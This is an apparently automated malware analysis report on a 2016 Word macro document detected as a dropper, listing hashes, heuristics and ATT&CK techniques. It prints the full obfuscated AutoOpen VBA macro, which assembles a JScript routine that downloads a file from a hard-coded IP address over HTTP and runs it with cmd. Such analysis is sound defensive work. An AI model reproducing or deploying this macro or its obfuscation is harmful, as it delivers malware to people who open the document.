Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8d3f73e1f46d25e1…

MALICIOUS

Office (OLE)

64.0 KB Created: 2016-08-24 16:35:00 Authoring application: Microsoft Office Word First seen: 2016-09-01
MD5: 7e95a155bc25dbba7fa641c682a245d8 SHA-1: c9bf3d6fc179482b42192d192c8f444e0b063db7 SHA-256: 8d3f73e1f46d25e1f8a586b7aff0c142af89d5b1aac3e5a72fe9bf074db08a06
192 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OLE document containing VBA macros, specifically an AutoOpen macro that utilizes CreateObject. This indicates the document is designed to execute arbitrary code upon opening, likely to download and run a secondary payload. The ClamAV detection 'Doc.Dropper.Agent-1637721' further supports its role as a dropper.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-1637721 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-1637721
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set oScript = CreateObject(cehomd4 & pqyswo7 & zejtecish2 & lickegti1 & ohwijma0 & axakso & ywdepyvte4 & vywazo & eqhiltuqp9 & ivisusy)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6894 bytes
SHA-256: 1570300cef563637adf4717ef4f5e5955ebebc3beb8e795f69262afa8c7cb97e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Dim yqucdanxo0, znalgeqo, owipeg, uledesc, rolonimb, oqzuvwybpuv0, asymny2, iwtybvepu5, ifpifdosesl, myllelko9, mgawaxpy2, fqowalof4, ylfeppuwv
Dim denyrusru, gokfekjep0, xqudtevdi, etmatwut, esufyjk, yticqi, ivtolwocfo, afuxzame4, nhebol8, irixqyzjudf0, usjube1
Dim ganjusufg
Dim ewmibzalr2, ybokryt3, ogajala7, ojtawgar, tkovopyzx, syptad7, evifkudpum4, ygigaty5, itfugte3, bnaced, apuvydzy, uloxo6, smojetbuqk, pravrerk2, ybgagseb1
Dim vujhohurl2, yvqyrum, gihucyjjy5, butxewsi, ekonti1, umsevbu, yrawi0, qnuxesxuti2, ihofheh9, exqibeft7, yregob, udxaship, yrradefduq2, oqhipab, unmilnovy, ashopub7, zrywomw
Dim gquqwaplica8, roguwo, scodnirkolu9, yrevake2, anerylu8, aqohlum0, oparesb2, sihgivmu5, aszomuqb7
Dim vuvmase0
Dim cusyxxuqi, emwascohyb, rudremsosi4, nholuh0, vudymobje, ajdyqoha9, zijoxxyz4, mlohah, kylgecovw0, gykcila, amlyxno7, awhukloqa8, oktejhubp
Dim qcuxnolabqo5, scuwaxribu9, emqojvu2, ufitewe, vwopxixrup, mqybiv8, lkiltuvy, ofifce4, ahezewo8
Dim ogxapcobce6
Dim mzocusz9, aztyjlubo, iwdeqedufz, unsedxissib, nuvoxsopj, rkuwefygu, egamosu, gjepyzowu0, bixymm0, ryximh, qeffojo4, wevtento, ifonby3, yqefyhru, avyjasa3, emyquhla6, ynfabivk
Dim ywfybagm0, yluglodi8, szytelma, lmasek0, atvelyqu, pejyq8, qtybavm0, ikbibbemp5, adutvuv5, oqeced0
Dim alvuncidadx, ydivoqveb, eqoduce, omzosit2, ppuguhav2, ypakvo7, skobuvpa, qadcahd0, umijuxbaj
Dim qibvebxa, temoz2, amifybw, azetos4, zedlafi0, eglilufrit4, ivisusy, egxifi0, lickegti1, ivjoto6, zganma4, zejtecish2, axakso
Dim vywazo
Dim pqyswo7
Dim ohwijma0, azhaluzmy0, efuntepi7, eqhiltuqp9, tobyms, ytofci, ywdepyvte4
Dim cehomd4
qadcahd0 = "d.ex"
oqzuvwybpuv0 = "emOb"
uloxo6 = "(cmd"
ifonby3 = "ing."
etmatwut = "le(t"
lkiltuvy = " tmp"
mqybiv8 = ".Wri"
eqoduce = "var "
ylfeppuwv = ";str"
gjepyzowu0 = "te(a"
egamosu = ";str"
nuvoxsopj = "//93"
ganjusufg = "l"");"
oqhipab = "_pat"
pejyq8 = "eXOb"
bixymm0 = "ript"
amlyxno7 = "ject"
skobuvpa = "ame("
oparesb2 = "ss.R"
ppuguhav2 = " ""\\"
ahezewo8 = "en("""
vudymobje = ");as"
gquqwaplica8 = "WScr"
iwdeqedufz = "mp_p"
ivtolwocfo = "ect "
tkovopyzx = "ctiv"
amifybw = "cros"
aztyjlubo = ".91."
ybgagseb1 = " var"
ynfabivk = "ody)"
ywfybagm0 = "49/d"
ikbibbemp5 = "e /c"
atvelyqu = "fso."
zrywomw = ");st"
gykcila = "ipt."
zijoxxyz4 = "= ne"
mgawaxpy2 = "veXO"
ygigaty5 = "nseB"
ryximh = "Clos"
ogajala7 = "end("
anerylu8 = "ype "
ifpifdosesl = "= 0;"
rolonimb = ".run"
yticqi = "eam"""
owipeg = "XObj"
butxewsi = "Acti"
yluglodi8 = "n();"
ogxapcobce6 = "ject"
apuvydzy = "ream"
azetos4 = "e();"
ypakvo7 = "bjec"
awhukloqa8 = "shel"
alvuncidadx = "0);a"
ekonti1 = "XMLH"
aqohlum0 = "(""Mi"
qnuxesxuti2 = "ject"
yqefyhru = "ath)"
mzocusz9 = "= fs"
asymny2 = "ath "
omzosit2 = " ""cm"
emwascohyb = "w Ac"
smojetbuqk = "iabl"
xqudtevdi = ".Ope"
ajdyqoha9 = "o.Ge"
yregob = "un ="
itfugte3 = "ar t"
esufyjk = "ew A"
ofifce4 = """);v"
kylgecovw0 = "oft."
gokfekjep0 = "var "
ihofheh9 = ".174"
eglilufrit4 = "ss.s"
qeffojo4 = "tive"
zedlafi0 = " ass"
ybokryt3 = "var "
uledesc = "mp_p"
umijuxbaj = "(""Sc"
myllelko9 = "eam."
emyquhla6 = "cial"
ashopub7 = "osit"
yrevake2 = "fso "
scodnirkolu9 = "GetT"
temoz2 = ");va"
ydivoqveb = " 0);"
bnaced = "new "
szytelma = "GET"""
fqowalof4 = "er( "
cusyxxuqi = "eam."
oktejhubp = "Syst"
qcuxnolabqo5 = "Fold"
rkuwefygu = "e"", "
gihucyjjy5 = " = n"
avyjasa3 = "t ("""
syptad7 = "ToFi"
scuwaxribu9 = "ttp:"
unmilnovy = "= 1;"
qtybavm0 = "eXOb"
rudremsosi4 = "empN"
vujhohurl2 = "ion "
znalgeqo = "Shel"
qibvebxa = ");st"
vuvmase0 = "TTP"""
yvqyrum = "ream"
yrawi0 = """ + "
nholuh0 = " "" +"
afuxzame4 = "ream"
pravrerk2 = "ew A"
lmasek0 = " = n"
sihgivmu5 = "r st"
denyrusru = "espo"
wevtento = "tSpe"
yrradefduq2 = "File"
evifkudpum4 = " (""A"
roguwo = "stre"
ewmibzalr2 = "am.P"
exqibeft7 = ".Str"
mlohah = "s.op"
unsedxissib = "l = "
usjube1 = "run,"
aszomuqb7 = "hell"
oqeced0 = "2) +"
vwopxixrup = " "
ojtawgar = "Save"
nhebol8 = "DODB"
umsevbu = "o.ex"
udxaship = "am.T"
yqucdanxo0 = "h; s"
irixqyzjudf0 = ", ""h"
adutvuv5 = "stre"
iwtybvepu5 = "cmdr"
emqojvu2 = "ctiv"
egxifi0 = "p"
vywazo = "tCo"
ytofci = "S"
ivisusy = "ol"
cehomd4 = "MSS"
azhaluzmy0 = "t"
pqyswo7 = "cri"
axakso = ".Sc"
zganma4 = "r"
ohwijma0 = "rol"
tobyms = "J"
zejtecish2 = "ptC"
ywdepyvte4 = "rip"
ivjoto6 = "c"
efuntepi7 = "i"
eqhiltuqp9 = "ntr"
lickegti1 = "ont"
ufitewe = ybokryt3 & awhukloqa8 & unsedxissib & bnaced & butxewsi & mgawaxpy2 & ypakvo7
ufitewe = ufitewe & avyjasa3 & gquqwaplica8 & gykcila & znalgeqo & ganjusufg & gokfekjep0 & yrevake2
ufitewe = ufitewe & zijoxxyz4 & emwascohyb & qeffojo4 & owipeg & ivtolwocfo & umijuxbaj & bixymm0
ufitewe = ufitewe & ifonby3 & yrradefduq2 & oktejhubp & oqzuvwybpuv0 & ogxapcobce6 & ofifce4 & itfugte3
ufitewe = ufitewe & iwdeqedufz & asymny2 & mzocusz9 & ajdyqoha9 & wevtento & emyquhla6 & qcuxnolabqo5
ufitewe = ufitewe & fqowalof4 & oqeced0 & ppuguhav2 & yrawi0 & atvelyqu & scodnirkolu9 & rudremsosi4
ufitewe = ufitewe & skobuvpa & temoz2 & sihgivmu5 & afuxzame4 & lmasek0 & pravrerk2 & tkovopyzx
ufitewe = ufitewe & pejyq8 & qnuxesxuti2 & evifkudpum4 & nhebol8 & exqibeft7 & yticqi & zrywomw
ufitewe = ufitewe & yvqyrum & xqudtevdi & yluglodi8 & adutvuv5 & udxaship & anerylu8 & unmilnovy
ufitewe = ufitewe & roguwo & ewmibzalr2 & ashopub7 & vujhohurl2 & ifpifdosesl & ybgagseb1 & zedlafi0
ufitewe = ufitewe & gihucyjjy5 & esufyjk & emqojvu2 & qtybavm0 & amlyxno7 & aqohlum0 & amifybw
ufitewe = ufitewe & kylgecovw0 & ekonti1 & vuvmase0 & vudymobje & mlohah & ahezewo8 & szytelma
ufitewe = ufitewe & irixqyzjudf0 & scuwaxribu9 & nuvoxsopj & ihofheh9 & aztyjlubo & ywfybagm0 & smojetbuqk
ufitewe = ufitewe & umsevbu & rkuwefygu & alvuncidadx & eglilufrit4 & ogajala7 & qibvebxa & apuvydzy
ufitewe = ufitewe & mqybiv8 & gjepyzowu0 & oparesb2 & denyrusru & ygigaty5 & ynfabivk & egamosu
ufitewe = ufitewe & myllelko9 & ojtawgar & syptad7 & etmatwut & uledesc & yqefyhru & ylfeppuwv
ufitewe = ufitewe & cusyxxuqi & ryximh & azetos4 & eqoduce & iwtybvepu5 & yregob & omzosit2
ufitewe = ufitewe & qadcahd0 & ikbibbemp5 & nholuh0 & lkiltuvy & oqhipab & yqucdanxo0 & aszomuqb7
ufitewe = ufitewe & rolonimb & uloxo6 & usjube1 & ydivoqveb & vwopxixrup
Set oScript = CreateObject(cehomd4 & pqyswo7 & zejtecish2 & lickegti1 & ohwijma0 & axakso & ywdepyvte4 & vywazo & eqhiltuqp9 & ivisusy)
oScript.Language = tobyms & ytofci & ivjoto6 & zganma4 & efuntepi7 & egxifi0 & azhaluzmy0
oScript.Eval (ufitewe)


End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.